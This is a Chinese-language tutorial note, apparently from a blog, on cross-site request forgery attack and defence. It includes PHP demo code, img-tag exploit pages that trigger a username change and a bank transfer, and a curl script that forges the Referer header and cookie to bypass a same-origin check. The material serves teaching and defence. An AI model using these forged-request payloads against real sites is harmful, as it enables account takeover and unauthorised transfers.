应用安全-Web安全-CSRF攻防整理

原理 

登录受信任网站A,并在本地生成Cookie。
在不登出A的情况下,访问危险网站B。

1 #csrfdemo.php
2 <?php
3     $data = json_decode(file_get_contents('data.json'), true);
4 
5     if($data['username']) { setcookie('uid', $data['id'], 0); echo "登录成功, {$data['username']}<br>"; } 
6  ?>
7  <a href = "Update.php?uid=101&username=json"> 更新用户名 </a>

#CSRFUpdate.php //exp <?php echo 'Change Username'; ?> <img src="../Update.php?uid=101&username=jsonp">

  

Update.php
<?php

	$str = file_get_contents('data.json');
	$data = json_decode($str, true);

	empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
	$data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
	$data['username'] = $_GET['username'];
	if(file_put_contents('data.json', json_encode($data))) {
		echo "用户名已更改为{$data['username']}<br>";
	} else {
		die('更新失败');
	}

  ?> 
#data.json
{"id":"101","username":"jsonp"}

Login CSRF 

登录界面CSRF - 无 Token(有Reffer和Session构造失败)

验证

Burpsuite生成POC

利用

伪造发送邮件/发消息/盗取账号/购买商品/虚拟货币转账/修改用户资料/传播恶意文件

转账

GET请求来完成转账操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
网站B,它里面有一段HTML的代码如下:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
-》受害者点击
View Code
#新消息提醒的绑定邮箱CSRF未做过滤或者过滤不严,email验证链接存在逻辑问题。
结合这两点,可导致用户的私信、新评论、系统消息提醒等发送至攻击者邮箱

CSRF - 上传文件 

防御

静态语言

使用Hash加密cookie中csrf_token值

动态语言

使用Synchronizer Tokens
在表单里隐藏一个随机变化的 csrf_token csrf_token 提交到后台进行验证,如果验证通过则可以继续执行操作

Referer字段(同源)

 1 #Update.php
 2 <?php
 3     if(!empty($_SERVER['HTTP_REFERER'])) {
 4         if(parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) != 'csrfdemo.php') {
 5             echo "非法请求";
 6             exit();
 7         }
 8     }
 9     $str = file_get_contents('data.json');
10     $data = json_decode($str, true);
11 
12     empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
13     $data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
14     $data['username'] = $_GET['username'];
15     if(file_put_contents('data.json', json_encode($data))) {
16         echo "用户名已更改为{$data['username']}<br>";
17     } else {
18         die('更新失败');
19     }
20 
21   ?>

Referer字段(同源)-绕过

//curl构造Referer头
<?php
	function curl_post($url){
		$refer = 'csrfdemo.php';
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_REFERER, $refer);
		curl_setopt($ch, CURLOPT_COOKIE, 'uid=101');
		$output = curl_exec($ch);
		curl_close($ch);
		return $output;
	}
	// echo 'Change Username';
	var_dump(curl_post("../Update.php?uid=101&username=jsonp445"));
?>
<img src="../Update.php?uid=101&username=jsonp445">

通过csrf_token csrf_token 进行验证(session+token)

绕过:session劫持+token劫持

 使用CORS

原文地址:https://www.cnblogs.com/AtesetEnginner/p/10966492.html